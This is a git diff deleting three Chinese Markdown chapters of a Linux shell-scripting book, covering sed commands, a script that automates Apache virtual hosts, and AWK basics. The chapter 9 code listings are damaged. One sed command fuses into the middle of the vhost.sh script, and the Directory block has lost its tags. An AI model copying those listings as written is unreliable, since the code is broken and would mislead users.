-让我们再次使用它并看看结果: - -```sh -$ sed 's/sed/Linux sed/g' myfile -``` - -![](img/e0182d41-cc6b-406e-a384-cd2e63b5891c.png) - -现在修改所有的事件。 - -你可以使用`w`标志将这些修改移植到一个文件中: - -```sh -$ sed 's/sed/Linux sed/w outputfile' myfile -``` - -此外,您可以限制同一行的出现次数,因此我们可以只像这样修改每行的前两次出现: - -```sh -$ sed 's/sed/Linux sed/2' myfile -``` - -所以,如果有第三次发生,它将被忽略。 - -# 限制替换 - -我们看到了`g`标志如何修改同一行中出现的所有内容,这适用于整个文件行。 - -如果我们想将编辑限制在特定的行中,该怎么办? 还是一个特定的线范围? - -我们可以像这样指定结束行或行范围: - -```sh -$ sed '2s/old text/new text/' myfile -``` - -前面的命令只会修改文件的第二行。 下面的命令将只修改第三到第五行: - -```sh -$ sed '3,5s/old text/new text/' myfile -``` - -下面的命令将从第二行修改到文件的末尾: - -```sh -$ sed '2,$s/old text/new text/' myfile -``` - -# 编辑文件 - -使用`w`标志,我们可以将编辑写入文件,但是如果我们想编辑文件本身呢? 我们可以使用`-i`选项。 我们需要使用该文件的权限,但我们可以对该文件进行复制,这样就不会损害任何系统文件或需要额外的访问权限。 - -我们可以在本地复制`passwd`文件: - -```sh -$ cp /etc/passwd "$HOME" -$ cd -``` - -我们以`cd`命令结束,以确保我们在`home`目录和本地`passwd`文件中工作。 - -`-i`选项用于运行就地更新。 在编辑文件时,我们不需要`-n`选项或`p`命令。 因此,该命令就像下面的示例一样简单: - -```sh -$ sed -i ' /^pi/ s@/bin/bash@/bin/sh/ ' $HOME/passwd -``` - -命令将没有输出,但文件现在将反映更改。 命令的用法如下截图所示: - -![](img/dc381b57-41d5-43fe-9dec-3df1719d5d99.png) - -在进行更改之前,应该在`-i`选项后面直接追加一个字符串,不添加任何空格,从而进行备份。 如下面的例子所示: - -```sh -$ sed -i.bak ' /^pi/ s@/bin/bash@/bin/sh/ ' $HOME/passwd -``` - -如果我们想看到这个,我们可以反向搜索并替换字符串: - -```sh -$ sed -i.bak ' /^pi/ s@/bin/sh@/bin/bash/ ' $HOME/passwd -``` - -这将把本地的`passwd`文件设置为与之前相同,并且我们将有一个带有前一组更改的`passwd.bak`。 如果需要的话,可以使用回滚选项来保证安全。 - -# 其他 sed 命令 - -`sed`提供了大量命令,可以轻松地插入、更改、删除和转换文本。 让我们看一些如何在`sed`中使用这些命令的示例。 - -# “删除”命令 - -您可以使用`delete`命令`d`从流中删除行或一系列行。 下面的命令将从流中删除第三行: - -```sh -$ sed '3d' myfile -``` - -下面的命令将从流中删除第三到第五行: - -```sh -$ sed '3,5d' myfile -``` - -这个命令将从第四行删除到文件末尾: - -```sh -$ sed '4,$d' myfile -``` - -注意,删除只发生在流上,而不是实际的文件上。 因此,如果你想从实际文件中删除,你可以使用`-i`选项: - -```sh -$ sed -i '2d' myfile #Permenantly delete the second line from the file -``` - -# 插入和追加命令 - -插入命令`i`和追加命令`a`的工作方式相同,只有细微的差别。 - -命令将指定的文本插入到指定的行或模式之前。 - -命令将指定的文本插入到指定的行或模式之后。 - -让我们看一些例子。 - -我们的示例 02 文件如下所示: - -```sh -First line -Second line -Third line -Fourth line -``` - -要插入一行,你需要像这样使用插入命令`i`: - -```sh -$ sed '2i\inserted text' myfile -``` - -要追加一行,你需要像这样使用 append 命令`a`: - -```sh -$ sed '2a\inserted text' myfile -``` - -看结果,检查插入线位置: - -![](img/ea97ee51-6d18-42d4-b795-9dded617d565.png) - -# 更改命令 - -我们了解了如何使用`substitute`命令`s`替换出现。 那么,`change`命令是什么?它有什么不同? - -`change`命令`c`用于更改整行。 - -要更改一行,可以像这样使用`change`命令: - -```sh -$ sed '2c\modified the second line' myfile -``` - -![](img/303cee92-4e7c-4a95-8036-978c2df042db.png) - -我们用新行替换了第二行。 - -# 转换命令 - -`transform`命令用于将任意字母或数字替换为另一个字母或数字,例如将字母大写或将数字转换为不同的数字。 - -它的工作原理类似于`tr`命令。 - -你可以这样使用它: - -```sh -$ sed 'y/abc/ABC/' myfile -``` - -![](img/8ef01a7a-a694-4d1b-b3ff-f1cc6342f8a1.png) - -转换应用于整个流,不能被限制。 - -# 多个 sed 命令 - -在前面的所有示例中,我们只对流应用了一个`sed`命令。 运行多个`sed`命令怎么样? - -您可以通过使用`-e`选项并使用分号分隔命令,就像这样: - -```sh -$ sed -e 's/First/XFirst/; s/Second/XSecond/' myfile -``` - -![](img/b52e69e1-6b89-44bb-a835-9783f777a7b7.png) - -此外,你可以在单独的一行中输入每个命令,你会得到相同的结果: - -```sh -$ sed -e ' -> s/First/XFirst/ -> s/Second/XSecond/' myfile -``` - -`sed`命令提供了很大的灵活性; 如果你用得好,你会获得很多力量。 - -# 总结 - -你们已经牢牢掌握了另一个伟大的篇章,我希望它对你们真的有用。 虽然我们想集中精力使用`sed`,但我们从`grep`的强大程度开始,包括脚本内部和外部。 虽然我们只接触到`sed`,我们将在下一章开始扩展它,在那里我们将扩展我们所学到的。 - -此外,我们还学习了如何替换文本,如何限制和全球化替换,以及如何使用`-i`保存编辑流。 - -我们学习了如何使用`sed`插入、追加、删除和转换文本。 - -最后,我们学习了如何使用`-e`选项运行多个`sed`命令。 - -在下一章中,我们将学习如何自动化 Apache 虚拟主机,如何自动创建新的虚拟主机,以及其他很酷的东西。 所有这些操作的主力将是`sed`和`sed`脚本。 - -# 问题 - -1. 假设你有一个包含以下内容的文件: - -```sh -Hello, sed is a powerful editing tool. I love working with sed -If you master sed, you will be a professional one -``` - -假设你使用以下命令: - -```sh -$ sed 's/Sed/Linux sed/g' myfile -``` - -有多少行被替换? - -2. 假设你有与前面问题中使用的相同的文件,并且你使用以下命令: - -```sh -$ sed '2d' myfile -``` - -将从文件中删除多少行? - -3. 在下面的例子中,插入行的位置是什么? - -```sh -$ sed '3a\Example text' myfile -``` - -4. 假设您有相同的示例文件,并运行以下命令: - -```sh -$ sed '2i\inserted text/w outputfile' myfile -``` - -有多少行会被保存到输出文件? - -# 进一步的阅读 - -请参阅以下有关本章的资料: - -* [https://www.gnu.org/software/sed/manual/sed.html](https://www.gnu.org/software/sed/manual/sed.html) -* [https://linux.die.net/man/1/sed](https://linux.die.net/man/1/sed) \ No newline at end of file diff --git a/docs/master-linux-shell-script/09.md b/docs/master-linux-shell-script/09.md deleted file mode 100644 index 762f02c0..00000000 --- a/docs/master-linux-shell-script/09.md +++ /dev/null @@ -1,260 +0,0 @@ -# 九、自动化 Apache 虚拟主机 - -现在我们已经了解了一些**流编辑器**(**sed**),我们可以将这些知识应用于实践。 在[第八章](08.html),*介绍流编辑器*中,我们熟悉了`sed`的一些功能; 然而,这只是编辑器中包含的一小部分功能。 在本章中,我们将进一步练习`sed`,并了解该工具的一些实际用途,特别是在使用 bash 脚本时。 - -在这一过程中,我们将使用`sed`来帮助我们自动化创建基于 Apache 名称的虚拟主机。 Apache 主机是我们演示的`sed`的实际用户,但更重要的是,我们将使用`sed`在主配置中搜索选定的行。 然后我们将取消这些行的注释并将它们保存为模板。 创建模板之后,我们将从中创建新的配置。 我们用 Apache 演示的概念可以应用于许多不同的情况。 - -我们将发现,在 shell 脚本中使用`sed`可以方便地从主配置中提取模板数据,并根据虚拟主机的需要进行调整。 通过这种方式,我们将能够扩展`sed`和 shell 脚本的知识。 在本章中,我们将涵盖以下主题: - -* 基于 Apache 名称的虚拟主机 -* 自动创建虚拟主机 - -# 技术要求 - -你需要以下资料: - -* CentOS 7。 x 机 -* Apache 2.4。 安装 X web 服务器 - -安装 Apache 的方法如下: - -```sh - $ sudo yum install httpd -``` - -然后你可以启动 web 服务器: - -```sh - $ systemctl start httpd -``` - -通过以下检查状态,可以确认服务已经运行: - -```sh - $ systemctl status httpd -``` - -本章的源代码可以从这里下载: - -[https://github.com/PacktPublishing/Mastering-Linux-Shell-Scripting-Second-Edition/tree/master/Chapter09](https://github.com/PacktPublishing/Mastering-Linux-Shell-Scripting-Second-Edition/tree/master/Chapter09) - -# 基于 Apache 名称的虚拟主机 - -在本演示中,我们将使用来自 CentOS 7 的 Apache 2.4 HTTPD 服务器的`httpd.conf`文件。 x 主机。 坦白地说,我们对配置文件更感兴趣,因为 Red Hat 或 CentOS 提供了它,而不是我们将进行的实际配置更改。 该文件可以从本章的代码包中下载。 我们的目的是学习如何从系统提供的文件中提取数据并从中创建模板。 我们可以将其应用于 Apache 配置文件或任何其他文本数据文件。 我们关注的是方法,而不是实际结果。 - -为了对我们正在尝试做的事情有一些了解,我们必须首先看一下`/etc/httpd/conf/httpd.conf`文件,即 CentOS、Red Hat Enterprise Linux 或 Scientific Linux。 下面的截图显示了我们感兴趣的文件的虚拟主机部分: - -![](img/f9a17c54-dd2e-4899-8560-4800a72360e6.png) - -看看这些行,我们可以看到它们都被注释了,而且这都是一个整体`httpd.conf`的一部分。 在创建虚拟主机时,我们通常倾向于为每个潜在的虚拟主机单独配置。 我们需要能够从主文件中提取数据,同时取消注释。 然后我们可以将这些未注释的数据保存为模板。 - -使用这个模板,我们将创建新的配置文件,这些文件代表不同的命名`hosts`,我们需要在 Apache 的一个实例上运行这些文件。 这使我们能够在单个服务器上托管`sales.example.com`和`marketing.example.com`。 销售和营销都将有自己的配置和网站,彼此独立。 此外,它也将很容易添加额外的网站,我们需要与我们创建的模板。 主 web 服务器的任务就是读取传入的 HTTP 报头请求,并根据所使用的域名将它们指向正确的站点。 - -然后,我们的第一个任务将是提取出现在开始和结束`VirtualHost`标记之间的数据,取消注释,并将其保存到模板中。 这只需要执行一次,并且不会是创建虚拟主机的主脚本的一部分。 - -# 创建虚拟主机模板 - -因为我们不打算测试我们创建的虚拟主机,所以我们将复制`httpd.conf`文件,并在本地的`home`目录中使用该文件。 在开发脚本时,这是一个很好的实践,以免影响工作配置。 我正在处理的`httpd.conf`文件应该能够通过脚本中引用的其他脚本资源从发布者那里下载。 或者,您可以从安装了 Apache 的 CentOS 主机上复制它。 确保将`httpd.conf`文件复制到`home`目录,并且您正在`home`目录中工作。 - -# 第一步 - -创建模板的第一步是隔离我们需要的行。 在我们的示例中,这将是我们在前面的截图中看到的示例虚拟主机定义中包含的行。 这包括`VirtualHost`的开始和结束标记以及两者之间的所有内容。 我们可以使用行号; 然而,这可能不可靠,因为我们需要假设文件中没有任何更改,以便行号保持一致。 为了完整起见,在转向更可靠的机制之前,我们将展示这一点。 - -首先,我们将提醒自己如何使用`sed`打印整个文件。 这一点很重要,因为在下一步中,我们将过滤显示并只显示我们想要的行: - -```sh -$ sed -n ' p ' httpd.conf -``` - -选项`-n`用于抑制标准输出,引号中的`sed`命令为`p`; 它用于显示模式匹配。 因为我们在这里没有过滤任何内容,所以匹配的模式是完整的文件。 如果我们使用行号来过滤,我们可以使用`sed`轻松地添加行号,如下面的命令所示: - -```sh -$ sed = httpd.conf -``` - -从下面的截图中,我们可以看到,在这个系统中,我们只需要使用行`355`到`361`; 然而,我再次强调,这些数字可能因文件而异: - -![](img/f785771f-f921-41b5-9f00-db71ec14fc7e.png) - -# 隔离线 - -为了显示这些被标签包围的行,我们可以向`sed`添加一个数字范围。 这很容易通过将这些数字添加到`sed`来实现,如下面的命令所示: - -```sh -$ sed -n '355,361 p ' httpd.conf -``` - -通过指定行范围,我们可以轻松地隔离所需的行,现在只显示虚拟主机定义的行。 我们可以在下面的截图中看到这一点,它同时显示了命令和输出: - -![](img/bbce939a-ad7b-4f6c-9054-1d41b9bf7d01.png) - -在硬编码行号时,我们面临的问题是我们失去了灵活性。 这些行号与这个文件相关,可能只与这个文件相关。 我们总是需要检查与我们正在处理的文件相关的文件中的正确行号。 如果这些行不方便地放在文件的末尾,并且我们必须回滚来尝试查找正确的行号,那么这可能是一个问题。 为了克服这些问题,我们可以不使用行号,而是直接实现对开始和结束标记的搜索: - -```sh -$ sed -n '/^# $CONFDIR/$1.conf -mkdir -p $WEBDIR/$1 -echo "New site for $1" > $WEBDIR/$1/index.html -``` - -我们可以忽略第一行中的 shebang; 我们现在应该知道了。 我们可以从脚本的第 2 行开始解释: - -| **线** | **含义** | -| `WEBDIR=/www/docs/` | 我们初始化变量`WEDIR`,该变量存储在存放不同网站的目录的路径中。 | -| `CONFDIR=/etc/httpd/conf.d` | 我们初始化了`CONFDIR`变量,我们将使用它来存储新创建的虚拟主机配置文件。 | -| `TEMPLATE=$HOME/template.txt` | 我们初始化将用于模板的变量。 这应该指向模板的路径。 | -| `[ -d $CONFDIR ] || mkdir -p "$CONFDIR"` | 在工作的`EL6`主机上,这个目录将存在,并且包含在主配置中。 如果我们将其作为纯测试运行,那么我们可以创建一个目录来证明我们可以在目标目录中创建正确的配置。 | -| `sed s/dummy-host.example.com/$1/ $TEMPLATE >$CONFDIR/$1.conf` | `sed`命令在脚本中充当引擎,运行搜索和替换操作。 使用`sed`中的 substitute 命令,搜索虚拟文本并将其替换为传递给脚本的参数。 | -| `mkdir -p $WEBDIR/$1` | 在这里,我们创建正确的子目录来存放新虚拟主机的网站。 | -| `echo "New site for $1" > $WEBDIR/$1/index.html` | 在最后一步中,我们为网站创建一个基本的保持页面。 | - -我们可以将这个脚本创建为`$HOME/bin/vhost.sh`。 不要忘记添加执行权限。 下面的截图说明了这一点: - -![](img/4cd77cda-d45d-4a9b-8cf4-6ead4cf50293.png) - -要创建销售虚拟主机和 web 页面,我们可以运行如下示例所示的脚本。 我们将直接作为根用户运行脚本。 或者,您可以选择在脚本中使用`sudo`命令: - -```sh -# vhost.sh sales.example.com -``` - -现在我们可以看到,使用精心设计的脚本创建虚拟主机是多么容易。 虚拟主机的配置文件将创建在`/etc/httpd/conf.d/`目录中,并将其命名为`sales.example.com.conf`。 该文件将类似如下截图: - -![](img/7b748709-5d4d-49e9-aef9-bf0a8e98ef37.png) - -网站内容必须已经在`/www/docs/sales.example.com`目录中创建。 这将是一个简单的保持页面,它证明了我们可以从脚本中做到这一点。 使用下面的命令,我们可以列出用于存放每个站点的内容或基目录: - -```sh -$ ls -R /www/docs -``` - -`-R`选项允许递归列表。 我们使用了`/www/docs`目录,因为它是在我们提取的原始虚拟主机定义中设置的。 如果在活动环境中工作,您可能更喜欢使用`/var/www`或类似的方法,而不是在文件系统的根目录创建新目录。 这将是一个简单的问题,编辑我们创建的模板,这也可以在创建模板时使用`sed`完成。 - -# 在站点创建期间提示数据 - -我们现在可以使用脚本来创建虚拟主机和内容,但是除了虚拟主机名之外,我们不允许进行任何自定义。 当然,这很重要。 毕竟,在配置本身以及设置网站目录和配置文件名称时都使用了这个虚拟主机名。 - -我们可能允许在创建虚拟主机期间指定其他选项。 我们将使用`sed`按需要插入数据。 命令`sed``i`用于在选择之前插入数据,`a`用于在选择之后追加数据。 - -对于我们的示例,我们将添加一个主机限制,只允许本地网络访问该网站。 我们更感兴趣的是将数据插入到文件中,而不是如何处理特定的 HTTP 配置文件。 在脚本中,我们将添加`read`提示并将`Directory`块插入配置中。 - -为了尝试解释我们正在尝试做什么,在执行脚本时,我们应该看到类似以下内容。 你可以从文本中看到,我们正在为营销网站创建这一点,并增加了谁可以访问网站的限制: - -![](img/9f7eb3a4-1c5c-42b3-af9b-2428ce966267.png) - -如您所见,我们可以问两个问题,但如果需要,可以添加更多的问题来支持定制,其想法是额外的定制应该像脚本创建一样准确和可靠。 您还可以选择使用示例答案来详细说明问题,以便用户知道应该如何格式化网络地址。 - -为了辅助脚本创建,我们将原始的`vhost.sh`复制到`vhost2.sh`。 我们可以整理脚本中的一些条目,以便更容易地进行扩展,然后添加额外的提示。 新的脚本看起来类似如下代码: - -```sh -#!/bin/bash -WEBDIR=/www/docs/$1 -CONFDIR=/etc/httpd/conf.d -CONFFILE=$CONFDIR/$1.conf -TEMPLATE=$HOME/template.txt -[ -d $CONFDIR ] || mkdir -p $CONFDIR -sed s/dummy-host.example.com/$1/ $TEMPLATE > $CONFFILE -mkdir -p $WEBDIR -echo "New site for $1" > $WEBDIR/index.html -read -p "Do you want to restrict access to this site? y/n " -[ ${REPLY^^} = 'n' ] && exit 0 -read -p "Which network should we restrict access to: " NETWORK -sed -i "/<\/VirtualHost>/i \ - \n Order allow,deny\ - \n Allow from 127.0.0.1\ - \n Allow from $NETWORK\ -\n" $CONFFILE -``` - -Please note that we are not running too many checks in the script. This is to keep our focus on the elements that we are adding rather than a robust script. In your own environment, once you have the script working the way you want, you may need to implement more checks to ensure script reliability. - -如你所见,我们还有几行。 变量`WEBDIR`已经被调整为包含目录的完整路径,并且,以类似的方式,我们添加了一个新变量`CONFFILE`,以便我们可以直接引用该文件。 如果第一个提示符的答案是`n`,并且用户不需要额外的自定义,则脚本将退出。 如果他们的回答不是`n`,脚本将继续并提示网络授予访问权限。 然后,我们可以使用`sed`编辑现有的配置并插入新的`directory`块。 这将默认拒绝访问,但允许来自`localhost`和`NETWORK`变量的访问。 我们在代码中将`localhost`称为`127.0.0.1`。 - -为了简化代码以便更好地理解,伪代码如下所示: - -```sh -$ sed -i "/SearchText/i NewText -``` - -这里的`SearchText`表示要在文件中插入文本的前一行。 另外,`NewText`表示将在`SearchText`之前添加的一个或多个新行。 紧跟在`SearchText`之后的`i`命令表示我们正在插入文本。 使用`a`命令追加意味着我们添加的文本将被添加到`SearchText`之后。 - -我们可以看到`marketing.example.com`的结果配置文件,因为我们在下面的截图中添加了额外的`Directory`块来创建它: - -![](img/013fc804-cb48-41b4-b94f-853ac6c70234.png) - -我们可以看到,我们已经在关闭标记`VirtualHost`上方添加了新的块。 在脚本中,这是我们使用的`SearchText`。 我们添加的`Directory`块将替换伪代码中的`NewText`。 当我们查看它时,它看起来更加复杂,因为我们用`\n`嵌入了新行,并使用行延续字符`\`格式化了文件,以便更容易阅读。 再次,我们必须强调,一旦脚本创建,这种编辑是容易和准确的。 - -为了完整起见,我们包括以下脚本`vhost2.sh`的截图: - -![](img/d9b10386-3776-4cb2-bd40-1b7c0cd64644.png) - -# 总结 - -在本章中,我们已经看到了如何将`sed`扩展到一些非常酷的脚本中,这些脚本允许我们从文件中提取数据,取消所选行的注释,并编写新的配置。 不仅如此,我们还看到了如何在脚本中使用`sed`将新行插入到现有文件中。 我认为`sed`将很快成为你的朋友,我们已经创建了一些强大的脚本来支持学习体验。 - -你可能已经知道了,但是`sed`有一个哥哥`awk`。 在下一章中,我们将看到如何使用`awk`从文件中提取数据。 - -# 问题 - -1. 如何从 Apache 配置文件中打印行号`50`? -2. 如何使用`sed`将 Apache 的默认端口`80`更改为`8080`? - -# 进一步的阅读 - -请参阅以下有关本章的资料: - -* [https://httpd.apache.org/docs/2.2/](https://httpd.apache.org/docs/2.2/) -* [https://httpd.apache.org/docs/2.2/vhosts/examples.html](https://httpd.apache.org/docs/2.2/vhosts/examples.html) \ No newline at end of file diff --git a/docs/master-linux-shell-script/10.md b/docs/master-linux-shell-script/10.md deleted file mode 100644 index 03934cac..00000000 --- a/docs/master-linux-shell-script/10.md +++ /dev/null @@ -1,590 +0,0 @@ -# 十、AWK 基础 - -流编辑器在它的家族中并不孤单,它有一个大哥,AWK。 在本章中,我们将浏览 AWK 的基础知识,并探索 AWK 编程语言的强大功能。 在接下来的两章中,我们将学习为什么我们需要和喜爱 AWK,以及在我们开始实际使用 AWK 之前如何使用一些基本特性。 在此过程中,我们将涵盖以下主题: - -* AWK 背后的历史 -* 从文件中显示和过滤内容 -* AWK 变量 -* 条件语句 -* 格式化输出 -* 通过 UID 进一步过滤显示用户 -* AWK 控制文件 - -# 技术要求 - -本章的源代码可在此下载: - -[https://github.com/PacktPublishing/Mastering-Linux-Shell-Scripting-Second-Edition/tree/master/Chapter10](https://github.com/PacktPublishing/Mastering-Linux-Shell-Scripting-Second-Edition/tree/master/Chapter10) - -# AWK 背后的历史 - -在 UNIX 和 Linux 中,`awk`命令是命令套件的支柱。 UNIX`awk`命令最初是由贝尔实验室在 20 世纪 70 年代开发的,并以主要作者的姓氏命名:Alfred Aho、Peter Weinberger 和 Brian Kernighan。 `awk`命令允许访问 AWK 编程语言,该语言被设计用于处理文本流中的数据。 - -AWK 的实现有很多: - -* **gawk**:也称为 GNU AWK,它是 AWK 的一个免费版本,被许多开发人员使用; 我们将在这本书中用到它。 -* **mawk**:另一个实现由一个叫 Mike Brennan 的家伙。 这个实现只包含了一些奇怪的特性; 它是为速度和性能而设计的。 -* **tawk**:或者 Thompson AWK,是一个在 Solaris, DOS 和 Windows 上工作的实现。 -* **BWK awk**:也称为 nawk,由 OpenBSD 和 macOS 使用。 - -请注意,我们在本书中将使用的`awk`解释器是`gawk`,但它与`awk`有一个符号链接。 因此,`awk`和`gawk`是相同的命令。 - -你可以通过列出`awk`二进制文件来确定它指向的位置: - -![](img/6d405e0c-371f-412a-8d9a-f1e2c554d4d5.png) - -为了演示由`awk`提供的编程语言,我们应该创建一个`Hello World`程序。 我们知道这对所有语言都是强制性的: - -```sh -$ awk 'BEGIN { print "Hello World!" }' -``` - -我们不仅可以看到这段代码将打印无处不在的 hello 消息,还可以使用`BEGIN`块生成头部信息。 稍后,我们将看到,通过允许主 -代码块, -可以使用`END`代码块创建摘要信息。 - -我们可以在下面的截图中看到这个基本命令的输出: - -![](img/757972a8-7d3e-4d0f-a5a1-fd273419035c.png) - -# 从文件中显示和过滤内容 - -现在,当然我们都希望能够打印出比`Hello World`更多的内容。 可以使用`awk`命令过滤文件中的内容,如果需要,还可以过滤非常大的文件。 我们应该先把整个文件打印出来,然后再进行过滤。 通过这种方式,我们将了解命令的语法。 稍后,我们将看到如何将这些控制信息添加到`awk`文件中以简化命令行。 使用下面的命令,我们将打印`/etc/passwd`文件中的所有行: - -```sh -$ awk ' { print } ' /etc/passwd -``` - -这相当于在`print`语句中使用`$0`变量: - -```sh -$ awk ' { print $0 }' /etc/passwd -``` - -AWK 为我们提供了一些现成的变量来提取数据,例如: - -* `$0`为整条线 -* `$1`为第一个字段 -* `$2`为第二个字段 -* `$3`为第三场,以此类推 - -但是,我们需要指定在这个文件中使用的字段分隔符是冒号,因为它是`/etc/passwd`文件中的字段分隔符。 `awk`默认分隔符是一个空格或任意数量的空格、制表符和换行符。 有两种方法可以指定输入分隔符; 下面的示例中显示了这些参数。 - -第一个例子很容易使用。 `-F`选项工作得很好,特别是当我们不需要任何额外的头信息: - -```sh -$ awk -F":" '{ print $1 }' /etc/passwd -``` - -我们也可以在`BEGIN`块中这样做; 当我们想要使用`BEGIN`块来显示头部信息时,这很有用: - -```sh -$ awk ' BEGIN { FS=":" } { print $1 } ' /etc/passwd -``` - -我们可以在前面的例子中清楚地看到这一点,在这个例子中,我们命名了`BEGIN`块,并且它中的所有代码都用大括号括起来。 主块没有名称,被括在大括号中。 - -在了解了`BEGIN`块和主要代码块之后,我们现在来看看`END`代码块。 这通常用于显示汇总数据。 例如,如果我们想打印`passwd`文件中的总行数,我们可以使用`END`块。 包含`BEGIN`和`END`块的代码只处理一次,而每一行都处理主块。 下面的例子添加到我们迄今为止编写的代码中,以包含总行数: - -```sh -$ awk ' BEGIN { FS=":" } { print $1 } END { print NR } ' /etc/passwd -``` - -内部变量`awk``NR`保持处理线的数量。 如果我们愿意,我们可以添加一些额外的文本。 这可以用于注释摘要数据。 我们还可以使用 AWK 语言中使用的单引号; 它们将允许我们将代码分散到多行上。 一旦打开单引号,我们就可以在命令行中添加新行,直到关闭引号为止。 在下一个例子中,我们扩展了总结信息: - -```sh -$ awk ' BEGIN { FS=":" } -> { print $1 } -> END { print "Total:",NR } ' /etc/passwd -``` - -如果我们不希望在这里结束 AWK 体验,我们可以很容易地显示每一行的运行行数,以及最终的总数。 如下面的例子所示: - -```sh -$ awk ' BEGIN { FS=":" } -> { print NR,$1 } -> END { print "Total:",NR } ' /etc/passwd -``` - -下面的截图捕获了这个命令,并显示了部分输出: - -![](img/2719bbfb-dc6e-4bbe-9eed-82ab0735eb19.png) - -在使用`BEGIN`的第一个示例中,我们看到没有理由不能在没有主代码块的情况下单独使用`END`代码块。 如果我们需要模拟`wc -l`命令,我们可以使用下面的`awk`语句: - -```sh -$ awk ' END { print NR }' /etc/passwd -``` - -输出将是文件的行数。 下面的屏幕截图显示了使用`awk`命令和`wc`命令来计算`/etc/passwd`文件中的行数: - -![](img/f32eb6df-a407-48aa-a1ec-4bcca857381c.png) - -正如我们所看到的,输出与`28`行一致,我们的代码已经工作了。 - -我们可以练习的另一个特性是只对选定的行进行操作。 例如,如果我们只想打印前五行,我们将使用以下语句: - -```sh -$ awk ' NR < 6 ' /etc/passwd -``` - -如果我们想打印行`8`到`12`,我们可以使用以下代码: - -```sh -$ awk ' NR==8,NR==12 ' /etc/passwd -``` - -我们还可以使用正则表达式来匹配行中的文本。 看一下下面的例子,我们看一下以单词`bash`结尾的行: - -```sh -$ awk ' /bash$/ ' /etc/passwd -``` - -示例及其产生的输出如下截图所示: - -![](img/c9950942-4576-4d57-9e76-00db300f4232.png) - -因此,如果您想使用正则表达式模式,您应该使用两个斜杠并在它们之间写入模式`/bash$/`。 - -# AWK 变量 - -我们了解了如何使用数据字段,如`$1`和`$2`。 此外,我们还看到了`NR`字段,它保存了已处理的行数,但是 AWK 提供了更多内置变量来越来越多地简化工作。 - -* `FIELDWIDTHS`:字段宽度 -* `RS`:指定记录分隔符 -* `FS`:字段分隔符 -* `OFS`:指定输出分隔符,默认为空格 -* `ORS`:指定输出分隔符 -* `FILENAME`:保存处理后的文件名 -* `NF`:保持正在处理的行 -* `FNR`:保存正在处理的记录 -* `IGNORECASE`:忽略字符大小写 - -这些变量在很多情况下可以帮助您。 让我们假设我们有以下文件: - -```sh -John Doe -15 back street -(123) 455-3584 - -Mokhtar Ebrahim -10 Museum street -(456) 352-3541 -``` - -我们可以说,我们有两个人的两条记录,每条记录包含三个字段。 假设我们需要打印姓名和电话号码。 那么我们如何让 AWK 正确地处理它们呢? - -在这种情况下,字段由换行符(`\n`)分隔,记录由空行分隔。 - -因此,如果我们将`FS`设置为(`\n`),并将`RS`设置为空文本,则字段将被正确标识: - -```sh -$ awk 'BEGIN{FS="\n"; RS=""} {print $1,$3}' myfile -``` - -![](img/361093cf-f70e-4c2d-8ce3-648beef07edb.png) - -结果似乎是有效和适当的。 - -以同样的方式,您可以使用`OFS`和`ORS`作为输出报告: - -```sh -$ awk 'BEGIN{FS="\n"; RS=""; OFS="*"} {print $1,$3}' myfile -``` - -![](img/b76f1ab8-5aa2-4e3d-b1fa-bc8c7ea452d2.png) - -您可以使用任何符合您需要的文本。 - -我们知道,`NR`保存着被处理的线的数量,而`FNR`从定义中看起来是一样的,但是让我们看看下面的例子来看看它们的区别: - -假设我们有以下文件: - -```sh -Welcome to AWK programming -This is a test line -And this is one more -``` - -让我们用 AWK 来处理这个文件: - -```sh -$ awk 'BEGIN{FS="\n"}{print $1,"FNR="FNR}' myfile myfile -``` - -![](img/11a00d9b-6945-4e95-a407-1cf18b195699.png) - -这里,为了测试目的,我们对文件进行了两次处理,只是为了看看 FNR 变量的值是多少。 - -如您所见,对于每个处理周期,该值都从 1 开始。 - -让我们以同样的方式来使用 whether`NR`变量: - -```sh -$ awk 'BEGIN {FS="\n"} {print $1,"FNR="FNR,"NR="NR} END{print "Total lines: ",NR}' myfile myfile -``` - -![](img/c86fa85a-2ff9-47c0-bf4b-305d06baacd6.png) - -变量`NR`在整个处理过程中保持其值,而`FNR`从 1 开始。 - -# 用户定义的变量 - -您可以定义自己的变量,以便在 AWK 编程中使用,就像任何编程语言一样。 - -你可以使用任何文本来定义变量,但是它**必须**不能以数字开头: - -```sh -$ awk ' -BEGIN{ -var="Welcome to AWk programming" -print var -}' -``` - -![](img/7fc7426a-2318-4abe-9a6d-9fefe5f77c3d.png) - -您可以定义任何类型的变量并以相同的方式使用它。 - -你可以这样定义数字: - -```sh -$ awk ' -BEGIN{ -var1=2 -var2=3 -var3=var1+var2 -print var3 -}' -``` - -![](img/df63184b-d9ca-4954-a84e-1b50e59f3e07.png) - -或者像这样执行字符串连接: - -```sh -$ awk ' -BEGIN{ -str1="Welcome " -str2=" To shell scripting" -str3=str1 str2 -print str3 -}' -``` - -![](img/16df7c1c-1c6e-47d4-80d3-7c4212e44a0e.png) - -如您所见,AWK 是一种强大的脚本语言。 - -# 条件语句 - -AWK 支持条件语句,如`if`和`while`循环。 - -# 如果命令 - -假设你有以下文件: - -```sh -50 -30 -80 -70 -20 -90 -``` - -现在,让我们过滤这些值: - -```sh -$ awk '{if ($1 > 50) print $1}' myfile -``` - -![](img/298b58b8-5aa1-410f-adfc-52221e3062e9.png) - -`if`语句检查每个值,如果值大于`50`,则将其打印出来。 - -你可以这样使用`else`从句: - -```sh -$ awk '{ -if ($1 > 50) -{ -x = $1 * 2 -print x -} else -{ -x = $1 * 3 -print x -}}' myfile -``` - -![](img/046f7d64-582c-4377-b9fd-cc5fbbcf910b.png) - -如果你不使用括号`{}`来围住你的语句,你可以用分号在同一行中输入它们: - -```sh -$ awk '{if ($1 > 50) print $1 * 2; else print $1 * 3}' myfile -``` - -Note that you can save this code into a file and assign it to the `awk` command using the `-f` option, as we will see later on this chapter. - -# while 循环 - -AWK 处理文件的每一行,但是如果您想迭代每一行本身的字段呢? - -使用 AWK 时,可以使用`while`循环遍历字段。 - -假设我们有以下文件: - -```sh -321 524 124 -174 185 254 -195 273 345 -``` - -现在让我们使用`while`循环遍历字段。 - -```sh -$ awk '{ -total = 0 -i = 1 -while (i < 4) -{ -total += $i -i++ -} -mean = total / 3 -print "Mean value:",mean -}' myfile -``` - -![](img/0d7658dd-f966-4a9c-9f9c-1a2ccebdc975.png) - -`while`循环遍历字段; 我们得到每一行的平均值,然后打印出来。 - -# for 循环 - -当使用 AWK 时,你可以使用`for`循环来迭代值,如下所示: - -```sh -$ awk '{ -total = 0 -for (var = 1; var < 4; var++) -{ -total += $var -} -mean = total / 3 -print "Mean value:",mean -}' myfile -``` - 